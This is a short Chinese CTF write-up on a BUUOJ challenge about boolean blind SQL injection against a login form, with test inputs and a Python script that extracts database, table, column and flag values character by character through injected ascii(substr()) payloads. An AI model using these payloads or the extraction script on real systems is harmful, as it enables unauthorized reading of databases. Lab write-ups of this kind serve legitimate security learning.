[第一章 web入门]SQL注入-2

[第一章 web入门]SQL注入-2

  • bool盲注

访问name=admin’ or 1=1#
访问name=admin’ or 1=0#
发现页面回显不同

1=1
image.png
1=0
image.png
payload

import requests
import time
url = 'http://eb258849-cbb2-4dfa-9b41-b0a067c60d6b.node5.buuoj.cn:81/login.php'
flag = ''

for i in range(1, 1000):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        # payload = f"1' or ascii(substr(database(),{i},1))>{mid}#"    #查库
        #payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#"   #查表
        #payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#"   #查列
        payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#"   #查数据
        data = {
            "name":payload,
            "pass":'qwer'
        }
        time.sleep(0.1)
        response = requests.post(url, data = data)
        if 'u6216' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if low != 32 :
        flag += chr(int(low))
    else:
        break
    print(flag)

image.png

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-07 23:30:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-07 23:30:02       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-07 23:30:02       87 阅读
  4. Python语言-面向对象

    2024-04-07 23:30:02       96 阅读

热门阅读

  1. Windows常用命令

    2024-04-07 23:30:02       38 阅读
  2. 基于YOLOv8的木材缺陷检测系统说明

    2024-04-07 23:30:02       36 阅读
  3. stable diffusion 预处理器解释大全,不断更新

    2024-04-07 23:30:02       41 阅读
  4. Qt Creator 设置 One Dark Pro主题

    2024-04-07 23:30:02       35 阅读
  5. 代码随想录

    2024-04-07 23:30:02       32 阅读
  6. PTA--《面向对象程序设计》作业2-类与对象

    2024-04-07 23:30:02       33 阅读
  7. 等保模型(烂码)

    2024-04-07 23:30:02       35 阅读